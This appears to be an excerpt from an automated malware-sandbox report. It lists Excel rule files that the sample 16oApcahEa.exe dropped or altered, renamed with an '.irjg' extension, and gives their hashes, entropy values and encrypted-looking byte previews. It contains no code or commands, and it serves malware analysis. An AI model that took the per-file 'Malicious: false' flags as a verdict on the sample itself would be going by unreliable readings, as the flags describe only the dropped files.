SSDEEP:	12:UgxyJeGzv89LooJfPJgjm3rGHrUzn93qe00lfTwuAeYqz/sPJAL00LBd9M2cii9a:Crzv2ooJ3JgjErhO053AeFsPO0Cd9pbD
MD5:	FF4654836D211E894F698784E2967A8B
SHA1:	19469CE3EEC9EB2B91917ACA67EA88C8E00FF3AB
SHA-256:	45E0863EBD5E762D069067B397B0DA409A5257D8FAA04276CC485C553E6B53C6
SHA-512:	E136ED1A2958256A9AD40432E4E8C630694926372B237A404D4C3FDAF78FC15B7FE9E19DC1A3548CF9B4DDA69FAD381071EF9CB22A14B5AFED654764860C8243
Malicious:	false
Preview:	<?xml.4.f.?.......^........+C.w....<{..<T..."M.}P}L..N...Y.u\...E..5...........t..q...S...d.....S.0. [..s.u.Z...{..{...Z.f..r..\|.U'..\`m..&..E.N9.........g.].nkw.@....7..N`..w<.9..&.. ....m....(.aQ..W....@..S.c..{...7.ZW..Vm...N!..}....U...E.OB..z.f..8V~.........`s....B...?........;[....r.hvMO...F.6=uo.9..z5..[\|.>......R.7.....F8.ezr..=...D$....C.#.msVD.4.....AT.Z......~.2j.....5....J....../....Cv.g.N..c..d......G,....L....L)e......?..}`.?....o...-.......9...e....+.D..G.....o..M6..h.3...'C.F<i.s.F...3...$..(#{(x.....xX.M71..4...P.(1}.3..D.,......LG..5....>......\|.........?.L.,.bO.k.^.u.M....z..b...n@F...."..=lj3...f..2.j.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120666v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.719251064500867
Encrypted:	false
SSDEEP:	24:HzgWgB0QvHS9Tdd7FKQ9dEq+8YIz4C9pbD:HzOmb9PFKED+8YOJD
MD5:	59BBCE3004DB7C90284DD02EA27FA0E6
SHA1:	0C98DDA57ABD9BB75B2E6C254ABEF6D18B63BA69
SHA-256:	102B0F6D575D5D769BFEA5EE3E6E291806E3270FC49E10ACC8E34071CD6519B7
SHA-512:	4714D8A81F3A05A23EDC34A9DAE9B979EBAAB5760C490B79E1D94724CEBEE51BE727BFDE056FB6B8BA5926A8C03C28F54FBB81609E943268006C40E3A3C90A99
Malicious:	false
Preview:	<?xml.c.W..q.p.\|.7.....r.b.B-K.xV..f.\|....h4F?.:o.C,...C.pBO.=.....l1.....u..I.~.Vj.7I.i....%....X%.....Z.z...i......=@......../f...zT..\$Z........P[.o.....U=Zz.M1!f-r../tQ&.h<Yk.....(.....@......._/F.e.I;.7<......I..4/.(.<s{..ak.6g...<#...iW...f{/.....}Q........O...$...^7?.c....N'...'....?#......9......{2s..?.t#..L.........&c.C....O.. ....,.%...[nr..^V.x.E..w...8L....`K...{.Q..x,.l\|....):....-...l....d^N`#e........G.R.D!D...p...{=Ds,&.t..\|....(w .,..w`3wP}?.3.{.}...ep.7...r.sM...I..Wt.".H...6y.D.U#.).<b....X.M..J..{.gq...@K.-Vx.>;....mY...........2.Jd.%R.}..#o..7..<#..j0q.h..N.'....GG.....DR....... ..../n....!...\Fr....OTJ/D.Y......8.o.......0!.O.......P}.....(.?.....xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120667v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	741
Entropy (8bit):	7.6945769604104015
Encrypted:	false
SSDEEP:	12:hlCafDHNcUYlb4d3o4fTIjLdIjMchHUkJc9vjryothjxUK80VGH9M2cii9a:KafDuBU4HPeMu0kS93dS0oH9pbD
MD5:	BDE98A6CA66908A32A282A7E9479B20E
SHA1:	6E84C2C67CCC4D72942D3F61BE47DA0BFD1E1A7D
SHA-256:	1EB2D354521A1C9A8F7BB8D0A407BAB8A609CBC641EBCA62D9D0D430AC251B90
SHA-512:	5DFB8CB86A5A07A5C29DA161E8161AFC612FBCCE875E2A1A2372DDC3B98B5192A4B95B648E0D58EDD7E606CA2147878DA2A842CF67FF3C18204F1A40D0135EDF
Malicious:	false
Preview:	<?xmlg...U6\|=....^.;\|..d..4Y.Y..x2c..0.$I9..%mh......7..!..e...b..zI..M.BW.>.H...z5......vs.Oc.aM..i.]...f<.q..~.0D..&k=.?..._..`.,8...e.6..U..)!..1.S..Q.^.{I.j..O..yl....dr..?.9..'VpP:.X..o^w... ...va..\|....).g.z.RT.`..iKa.?t..x':..4"._.i...jt)&oFd...x\7...h.[~.>.i5.j5da...A.rU;...4...INz+.v..4....Pt2K+Uo..\|-.{.8[.:..f.S..{}f.....=..}.FcE%.c...Iq..U.(.n..X.].1j@.Z.....+...r.Q. .U4......2[.L....6.x.....x..I/.J2e\|....36..!K,j..+.$.-.i.d..~0...qP.Cf5...d..V.K...h..G.>l....:...{.#.-I...KQ.r..y....)...k.J@^e..m.B.^......#.M....y.V..a5..].....wp.y..y..#7...X...DT.U....-N.....0.7I..=..Y.n....eg...C2.z.g.Y...2o.F2]1v.......+.T.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120668v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	802
Entropy (8bit):	7.701665893141773
Encrypted:	false
SSDEEP:	24:LipKHuWaPAI9fAo/er0rJyNGD9S1ww8V9pbD:mcuvAI9INr0Vpa8PJD
MD5:	B08771DC0D9BD5000A7B2C9F5BECE717
SHA1:	6D377B8E578E4E689B9DBA6D10C372736AC6C256
SHA-256:	91BCEB526F4267CEE0F3EC91616D2ECA18FBEA3E76B7EC3C4B7879D34942FC5C
SHA-512:	A8FB5B738E9935D31D1DFFB5B8995BDF2AE2FF87555F9C89092478160C262749F35263943978F8610026AF77E098F5150874C6ADDF74909D305BAAF182942598
Malicious:	false
Preview:	<?xml.`../..$..%MI.G.. }... .S.i..S.+/\|..sF,...kE...R..A....V.!.i\|a-....6u>l...q..o8$,..u+...`+..).KX..a.~.VB.........oT..s.DG>......#1}..).;.2q7Y.`8..U...7.\|..U!>p..nq.hSit$.l..{...!..Y...{A..k\|..l!.M&...nv..\|.......Y...]@.....pa.']....L....L.p.^.O<].9...u.AQ..th.^a.?......^T/.H.^.x ._.8...;tu0.0..J....}J..r..`..o.Mh=.....&v]..s...#9..mE;.....O.......16...F^ ^0...#..O>.T.....Y.<.....=.6....jq)..8.. ....l.q......7k~...w.]B....)F...\|..k.w[y5.H...?.s.......E......U}.).h.U....2I<...yW.l.h.$.-C.q..1..i4..&.8.fMPh.H.Re./........e.^.....c ST~.$^..zb..B.*Ux.zY.9....g.wxQ...qg.i.&.......I^.?.".VGU.'.Z..r.eL..../K.c....$.f-,.WK.9........U...2.8..q.3...-...V..>.T..4...p"eO.....P...U.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120669v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.6836913659958395
Encrypted:	false
SSDEEP:	12:qnwBRULmC4gCsC2eMHtfXkQbmABloZBfxQkfld9FXhvv6WMVLulrTp39M2cii9a:qnwBRUJbg2tf0aVuB+kfJnvq4rl39pbD
MD5:	0673A2C0343C2DB6233E958DB5F5DEB1
SHA1:	3D02039AC741F0D15E9D14372FAF63C80A4536DA
SHA-256:	8395E067F04156AEE625B8BFE1A8ACB48855747057BC96D8292D42498BAE572C
SHA-512:	1B81AAAF4352E41CB6323BD1261BDE0D51C178610169F0ACE40E6A2F31AE52FFA1B14D6D2C71491F65111AE6F18EDFE36BDC2ABADDDC7F77F62D0867DD46CBA1
Malicious:	false
Preview:	<?xml2.VR..{58.5.....7..3.H[.,T..F....%.q.....7o..U...`.c..9.:]....\.$........cX..#z. ..{G\j...H.%J.L,m.P>..^..zB..G2.Q...nvG...V\:j..s.~.....0?G..3O^....,.u..%.a..T...Kdyy..YG.>..c..;...jA4./..w....d...C.....z..E.....d... 1.GW.....p.A.g).x3.....R.G/..."C.t..:a7z..p.>P-..b.........].)&.t.v........//^.\|.Y......x....i50......b..M. 2.[.5N..I.o........f.e@&....b./Q..q ...['....g%G..^y..l......`6.RX....aIV.}..<cph.f..K.6+QCE.b...yS...DU...6p3!$.e.Jy.:.2$...zlXH.xzZ.3..{..="E~\|3.B.3......DN.n...C....I-.......'..Y2B.p......wa.........R.....f...T..fh...-^.....U^s\|..@.q..RH'q/......z..`...D.7c(*2.h.j.b$...!...F?{.6C.....u......=5...O.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120670v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.705973444947275
Encrypted:	false
SSDEEP:	24:O4UpbZOf0oqi/EHoCbjAFqpzt0FS0rqWMH9pbD:O4ULOf9rqUwf3+qdJD
MD5:	7239562164E99857080D0BFD8E5B6276
SHA1:	1DC74C52AC01B6032189C2A20277C4C902CB8DA0
SHA-256:	3F6F0B20B44F0503E2FEFDE08D670B8CF10622B0E2BCC86A08719BA9F0151144
SHA-512:	2696F8A2B19EE99DDE9183F85CDC523917F1B675CBCBCDD54B3966C388D527C5B5446921C21976E456CFB3C452AD5CC9DC213828D233E76488729C49F7C7F2AD
Malicious:	false
Preview:	<?xml....t.....%t.d..q4.n........9.Ijsc.Q.F`.I........m..w....j0.h....aF....=..uQDP..w.4...b.d`7g.....y.W1.]h..._.....>...phX.N....9.u,.?@...4_.}....%.R..BT.dU.{0~s3_'U...EO.Ds..$.....7.m.M..]k6.%..L& ..+*\.....BA....z...n...p..v[bs%p.-..P...."=...(.....n.....Fd.......y..{I2^...JFlV}Z&m..~.t.uN..-'K.....ud.M/Pa.`.bxy=.T@%.I.z@6S;..-.T.lo..#l.Syx.>..0l.{....u.......=.f.....F4..(@KI.D........1d.'0.g..............]0..........<..\|.....X..)...e{../3.k@.K...].m.\.nXE.:.r....Z.u.L.0n.......U1...Q.5.+........!..~h..@.J....a...=._.6.WDN.V.71{...w..S.:e. ..v.....Wj..G.,....[D..1..+d.~..'...0@.9.3JU..'..3.UC.....O.4..".%...'Tq.6.7N&..J.<..\.5.t...r.s.`....D....wc...\|/..y0......`.;....xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120671v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	765
Entropy (8bit):	7.730297754963972
Encrypted:	false
SSDEEP:	12:vkQzsXnWxMKpYvxXzRM2s9+dT9KwuSDbdUyOsFB/8wrCGPcM1NLBuifukM9M2ciD:KXeXm9Fds9+dBKwuSVUyO6BVCy9XBui6
MD5:	814EF239804CDB956F11C5CB2DF8BB32
SHA1:	2766AC963AC8A191703E7D1BBF4273DDEBAC67E1
SHA-256:	D9C5312F6B2C82B7D9CBEEEB0EA8D53AE0EBE8454E6421900946B8DF43EABA91
SHA-512:	7D16B81F3D343ACAC02DF10B821E673FE77A5790D53F346BCE2F7F35F6B5C56BE5F95BB4245234E1D244623272149502FBDC155B81714723466397CC67ED30EB
Malicious:	false
Preview:	<?xml..p....E.......I;&....x..........e..&...." .H...o.."...<.$..k.u...1%-............g...F.4.....!S#Z.$s.........[8......_.d.J;B.(....^.i..q:.V\|.V..5..C....Q....[\..,..x.Lg.e....K.F..iA........B....X.....Z..]..l.I&B).x......:.b!.N3R d...h....7R..`:.=.2...dB.... ...j...I.+.3...+.c.p:....@.]..}z.tU...."`n.....\.....-g....:>:.H.....\|.......w+...FS.. 8.V}.........($M.,...t...\|.r.WwXF+...t.z.._a.@.DZB>.-.k.........7......EK}....D..g..#P...g]{...OE@d...l..p......a)k..Q.......l.....Z..N..}\H.^Y...+Q.lf.G...".........Z..a.-..E6Ho.....gg.w..\|..h.y.....B..~...\v.&.(.......!Vlz.........$q}.4.......i'..W"b....3.q...r..62 R.>.Cb:....p......TQ.s.\|i..Y..I.nxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120672v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	808
Entropy (8bit):	7.75363510611052
Encrypted:	false
SSDEEP:	12:q2ZpZI9Ph8INj1i8XQsldpStDXYOprNjhidHPkoLUNi+b+1cXnwm/Wokn39M2ciD:VfZ6l1vAsjcdN9iVPkoLv+1XGpn39pbD
MD5:	8B526AC0CE833839F048BC39BBC99B4F
SHA1:	C5FD46B518920F0F661B736FD7338F87690ABF02
SHA-256:	3ABFDDDC5F4B6EBD8C1F63391109F6B937E271AF9D3D9FF4CA1CD26F823B6F38
SHA-512:	BBA7B527DE73D13C412D12C3004E8D041EDBE7717FCC91D09EC6D872C494C6498AC7893CEEB188972B48F018CE9F4B6C8FED7941A23A962B30D65C3B3A13BDA1
Malicious:	false
Preview:	<?xml....i...3..L...]h..>...5..E.>..vm.....s.g.~2u...}5...k_E.Y.Z../.... ....F..H <.yR.V...T....p.y4.1V. .,`S.^..S...=J Q..-Ow.....j.......d.3.^.s.K...5}....."....Ci[......k......W...J....N.F.W.p#..cBj.`.-..e...W..b.=...l4S7.a.......AY..l....Wy...`..cm....}c,P..%z...#a.k.}h;.1V......3...ag. .:mf.vO.R..A._F....g..f.U.&E\.nk.1.!.6.O.z.h...q..^t7......\|..1...M.QC.,......I....\.L..p.L...>........xT....H.<..._>w..`.r._....MH.)~1.bp..8.\..V...3....@7.Sfb4..,...K.......!9~_{.oe....u...q(.!s...Q'....t.............u..Gn.*.=y.......J..e...L9.Y.,[......)E.N%d..a..D...,.jjS-7.c ...&...HZ)X.......[F....Z..G.....oUqbE c6H..6..j?y...<H.U.X.u...q......im.u/..~.{.u........?..6W.Eg...9..i(.m..7..`DJ..F...xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120673v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.732802478919355
Encrypted:	false
SSDEEP:	12:cPpzmM2/PSEfU/PBaBCt9tbP8o7reaqLuCCuV5TEPKUe5q9M2cii9a:UwcEfU/PX5U6eiyYe5q9pbD
MD5:	2E9CC3DAA7CB875BD05E562B388C50E6
SHA1:	14B8F22B81C3509CABF9048E67E6CC5C31C1C0C2
SHA-256:	3C774E7E68773E660D82BAD8C347E2C09840674C05B910574C8CD0BD9B5E4565
SHA-512:	DE9F84FDA146CBF058F9BDC4B4CAE9EAA67153749FFD8321EFEEA10C3E7B3A0957148A60C83A8D761E73C785BF66ED1214806805CA6CA77F75B1D6C35CDDABC3
Malicious:	false
Preview:	<?xml{.....H.../'....m...c..K..................+C.....(.........Z\w..Oz..I..Z....C....h.m........"..%8%..v.V.........v.........LS.++...<c...n_gY].../.+.......(.,.i.@..p...t2`5....+.h&5.o..l...0.k2.`3.msN...2.(......:.Xf.I....w...V.Y7\|L5K....y.....:.....){.{.k...U..~q..I..A.j0..... ..-.n+...,F:.o.j..:.B.....28y..o..o,......?..(...L....k..}.Sl...^B...W..e..I.j}...,. .Qg.........T6_(........\r...!.i..C........W$.....}t.......7.27.ZX....?..j;...5...2"....W.j.'i.D.J.BLO.....d.....Zy..J....u....g+.........0..>...A.fV..&.B{...?4.kD.D....vp`...z.?v..7".R.+...8.2..v'..TM..H._.."'.\|.g.`..._$.Dn.....j3...+b.........Q-.......k....bl>.~a^....Kx.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120674v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.737550259770738
Encrypted:	false
SSDEEP:	12:4M+Ry+r6pnq5jgR3B07LTmwtRsaLlVpFiuKPQGdLm/4BOnfDiWzzFIWaMJIBLMxn:B+n6452SPTHtR3FeIey/4BIV8QyM9pbD
MD5:	5ECD2465BAEFE6627DDC798FCC68294E
SHA1:	9BF30385B8BA27E38873EA2D0AE51DC0A88C32D2
SHA-256:	B7056EE13FD005846C8DE2C0860FD13B91B3A3A4B5A7E92A62A55961D7B4A0CF
SHA-512:	1D748D0C97A01ABB78DADAD2DB0322EB7E8035895D0E51EA743BEFB22EDC85FE79DF2AEBEB94D71DAB47D17E98A64CDEC911B85E22B1EB06A12632421A0EB422
Malicious:	false
Preview:	<?xml....'.r...+.c.......:.Xj,li...1t^^...D.iP;..j..........7. .5.....8.{e.W.O...(Z....H"..i.+..Y.d...."Dx.QD...6V.....1.]........6\|.<.SC.Ul....tY...Yq...E..0......B../..[v..H.i..a.%,....iX.'..q.=6...ay....0..;.M.x9.x+yo'...>.2.......p".tL...-..yID{..]5..H.....[.......@.6pe4R...\|..H...\..LJ..;..P../+I...,j.....wg...}.....}#.[..q.;...'d .>.&%.2.#yc..s...Hb..;...../.._...i...^.2.u)..-'....t..8Q.K.....A.#J.Y...8....9...7..u...G....D...&.k..=O..Y...>^.V...-...........Z0..+g.j=w>....l......$....\|z.....O....`...[.n.C.......3.]!....v.....Y..X.......+..y....3\|.y.Io..f0..zE.........;[.....\|.l...l....P.A.l.....R.6.\/...D.."%.W..8`A..E...S../i.....e.'...C...s..M...I..:...k......\|U.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120675v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.724489899185658
Encrypted:	false
SSDEEP:	12:ZIcx9N2DQ7Yc6QQifSpc0vGJ0inX4QL7F/Lh8aNQyLqtOF+ZCrM9M2cii9a:20/cbpceCvL0M+ZCA9pbD
MD5:	9544FC9363C61FC40D9F29A245A88F3B
SHA1:	60BDA64A632910AE936E5B759BA12FD0C6B8E6B1
SHA-256:	F43E9A5DA714B1AFC6AAFDCA541EA0B952C64C9D05371B690EA60FA03BF6B0B2
SHA-512:	A6F1940357E2C9E0B46E08F51241616352BBA49AF37651F1FA440361FA105DF75A7848CFFD8EAC1D4F50067369C1650E4A7F9E2C56CD2529DB2314D6556B68BC
Malicious:	false
Preview:	<?xml....G....c!....n.....\|...r..;..!..HZ...=f../N.)\|.7).+.5....]..2.U.VUs.ss ...4...%..6P...f.kb...c?..w.1..B5!!{...-....(.f... ?..U...U..........?..PzDv..W.U....KL.A.p.O.'........u...._[.;.).G....>.339v.e.\"..l..9.[6.p..l...0......uTW.}..}(.kH.5.~....6.....=..".r...),..]...r..O....9...yA.g...\..o.V......../.Qm.!S. G..H..+.7k......$.LV.[.2...'...V.............C 2A2g.MI...k.Bt..>......l.7.[.W...b..aa...\|o.;.Z\....[.s.M....M..........O.No~..}H...Dz...~.5..w...&....x+.-....../[....M.$..~..yJ.xx....;...J...>..b.z>.+....^..1.....;n.Ty....dO.vFZ.[.......Q....I..>....[.5.T.Xd.R.#d......>G~j.W...7..........3.....mN..Jh....gYX/=]..xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120676v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.764675018284692
Encrypted:	false
SSDEEP:	24:GD0vEM9nZX8v2F95763n69DQa9szDFLoIGukR5ok9pbD:GDqLrF9ZVboDFcIGVRu6JD
MD5:	C0EB1F5D2398B7249E3F58966D7B0850
SHA1:	298A4C4B412686CD42C6F38D4B8313F82417360B
SHA-256:	701BE406B6C4BE60E5D9CBC6BC97C793133BFE31639116EF9EF8845DA95FC880
SHA-512:	F015E1AB36D6751D9C9505FBD6556ABF7B56F005F8A4DB523EC499CE5FCCB07AD261B36D623C68667A57BB4E2C61B693016C563BD67B2630BF8C2CF6D37DA7BB
Malicious:	false
Preview:	<?xmlvv.....8.N<.m....)..&%x.(.H.=...3&,x-.....I;..\u.n....+D%......79...V......DFJ[..Z..^.{.:.c.t..S...'........nb....O..\.C........R.u!.}....Qn..!.KB..Ro....p+>...O......Tp.'#..J.YOg.........\|.X.K.......z8K.$`1...m.j{Hf....K+...~ow-.....D\...N...=.x..5=...L..........i.M.-..Iw`....m....k..I.._Z_..^U...(..TeFn......r...Rt..Qa}^kW.TM...z.s.);........$.....g.L.e4.+..+.[............,...t..8..j.......d...X\|.Z..G.......l......v8.\|1...&....6.]....^.t0L.9<.>.e}../.7.8.8..T/..'. ....,...5.......V.X....F....t..^.Rw.....Fx.SU.P2T\|.........].......9"j...Z. .VNy.<.M....X.y2}.N...Di..:0Jk.KDDS.y..5.>..PF..G(...4V.e...>.a.X....iA...)...........%..pK..L.F..{B.@...`...n_W..p<.:7...~0..l..d.A.\|.Q%}<xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120677v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	738
Entropy (8bit):	7.726231892444009
Encrypted:	false
SSDEEP:	12:k8KHNIaDU0gtttWT1Bu/YAT20RCS8MeZcqdmEmFESWJmv6pJL3QCfs9CxcuDU39h:ErUHbJjT20nQVHdJmv6pRs9/uDU39pbD
MD5:	952B97DB747EC553CB4B4ACC99D5A20B
SHA1:	2DA6342C0EC8A45E069BA69693B59CC19F4FC574
SHA-256:	CE72E66C382E82968D7E0E0904BD432AFBC833D2BF6A93FD982CE890450635C1
SHA-512:	33C18A941BC6C9CC129CACC653166885E28FF30F9A78CA1FCBE9DFD16A8C9F6726D4CBBBBB225FD92B74E46FE16EBD9B42F2DEC0A4AEAB4BCC5AF14B39BDD7AB
Malicious:	false
Preview:	<?xmlY.$..& ..h<.2.....XZeY....bk.. .>.oAvf@..A^.6...$..MJH.M/....V6/i.V....y..N..Z...(...\|.}....!.Yw.M.t..p.J\|......l....:..._<.N.x{.9.yO#`..,.... \`&..1..Yu,t2.5IZ...7.T..%....o..G..\.Q.......oV..<..&Nm.....^..m..#..nfM.g.x.y0....v.Q..d...2..L...I/.L..F.4........._.....kK....i..3)./.d.C2#t. ..I...v.Z./.......O~k.aF.1?.j.N.#jV._.J.{..7.4..G=+.2@...E.kY...t.~.t6....J..6..f0Zr.....5........._70....R.]7..X...W.b`.A.a..{.~z!0.:.}.D.EO...G..K.=/p.. ;./..W..G..>.......~.....A....]y...y\|c..........6..R..0.........u..al....V.`]...,..?7.hj.I....0..<5....W.....:.HR.X...t.....f.bD.cw(..=.)..z...r.uA..d%..q.....~.q..S.....F..xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120678v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.708241965885508
Encrypted:	false
SSDEEP:	24:l+BWhgGPtlA88DXp0G/oidpqsFREcJ9pbD:l+BWhtPqpaCpJFRXzJD
MD5:	AB929CF3C6BD7CF5C8D6F635C92B69A8
SHA1:	72D09F72397A6995349AEE1EAA152D388061FE66
SHA-256:	A9312566C94A09DD5376DF06CB26D3F9A331BA0FCB88BE028CC28432BA5112B3
SHA-512:	792E40F5C3FBCA923662B216937C6DDE8E272D35865651B4A12CD07A2D695C4EA69BC85A0718D58A5757963A1CA3D2C948E5D9E97461B571F0A9257B3831D8FB
Malicious:	false
Preview:	<?xml.5.vA...z%...Je.n{.C.O.-k..`g........'..\3;.lJ.1/...K.Z\|..!d.up.[..&....oI.:.{..+........A..[.a:.&@...4.c\|....g....0..E..0.2....z@ZV........NQ..'..-...F."..G02....o.G\|!..3..3.5Um.K...bvS.....{...o......$.....O...f.......c.&..r.Qc...J.`S.'iN&._n..iN.u........t.9=..=m.R...f.......3w"7.1\[n{.....,UP...UzZd.u...M..N(HQ....o.1...k........HE$....E_...D..).j$i..P...saR'....S..u./:...d9v..@..J....V....t~..7h.<U...P..Z.K............\|....j2.4.J.Y.w.K......g..!..l....X\...7..eG...H.".,=.z...{.$.(.R.xT......?...IRh.~../J.h........>ol...q..g.....V..Z....,[..[.m8.....u._.'.M...............~.<{.....F.X...m.c<..z...D......qAEn....MU..<..b..$.."...Ig.D`#{<zY....o.y..qI'.d....>xpd../(#j..<HxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120679v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	507
Entropy (8bit):	7.558854865624701
Encrypted:	false
SSDEEP:	12:1Axr52ucwPqI1er8WJFcKDHWmcocx1m9M2cii9a:1UAuc6qme4WJ7DHW/Zm9pbD
MD5:	F0C18F31502DEFBC17DFC6148BAA92A2
SHA1:	027350529FB877CFBA4BB81E247B327715CBC0AB
SHA-256:	A9CEA6C4E718CFDE270B3B8427BAC269B71838898779A2995277D6E7EE80586A
SHA-512:	44B9407F3855DD23614F2F2E5F68290CB4D45860B4D7A301FEBE8A477D592CEA73647D7182C13824B9E52296C6E57FF0F0AA402930347B48F7FABD104C2029F8
Malicious:	false
Preview:	<?xmlL...b+[..q..B ...qCnb.j....j...3$od..M..T)#.UR=.G,.^#K............*W..r...%.....V...]SN..T....+..3.N.q..V.2.......7`6.0)..k..w..z'#_X.m.....{.@..O.Q.Y...Fg..A....U.]..O......%x.....!.u..,.1."..F...k0.j:....2.....n}"'...W(.h.c...r._.v..........`$.n..a!]...q..\|?.f_..l;....z.N4.$...a.e..h$.3.I\|.......'...(.......A..R.......(6...%{... ...p5....M.k........7..=.I....r..=YL.....1...'..Rd........+f..@N....xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120680v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2285
Entropy (8bit):	7.905583735697715
Encrypted:	false
SSDEEP:	48:MuAkuGSOY+cd2mo/Xny5lE1WjWgwOWEhTH+RHLvQjfwmr/H6Tk9bUJEl9tLYJD:MuAkT+kXy5rjVVeRDQsmbH6GbU6l9tLK
MD5:	D326A0A0C83EF0B98B00A34A4CC2F108
SHA1:	C48D41148175E61080A8633BE20A174FD906B2C2
SHA-256:	8F3E4ACE7B9C93851FBFAD37CF4C7F78D52F600DA1CDFD974A9234200AD018ED
SHA-512:	8D28C606921913498CAEBA7CD1B914B663C319242DD496988AE5448DC6876C84CF2552283E64869560348AF7353A3C27D3350A663175B133CD1A5CD68DF2BEF9
Malicious:	false
Preview:	<?xmlL....\|kBe..Y.1M..--...g..N..YL.`.A.f..X..a........Pz...F.sM\|.6..fC:y......B..E.S...k..u%M......F."..zSYk..o....k......Xx.._.@..E.i.s[n.....q(...).z.C..........K.bJ.}.;.GWs..D..#......\|.l.l.}/..y+.U.{....a....%..cR{$.7w;g..y04......:9<...;..._.>d.U......aU..G..Z6<..;yGz....$.I.K@=,....<.N......Uv..C4@h9...I...:.......nv.;.8.i..E.."9.w..^T..6.........i...18.F.f...".j.Qh.a_.sl,..'8b...B.Z.xL.Wv.....z...-.u......`A...dM&.%.....`l5x.1.m.i... z&...M..!.d........\|.b....M],...a.D..1.L....w.........k..<f;d~&.;.J.{......{..O1G;...1Q2.v...]..].w..0.t.i...h....\|+$N..EF.v.4...0...b.m.i..$.....q....q 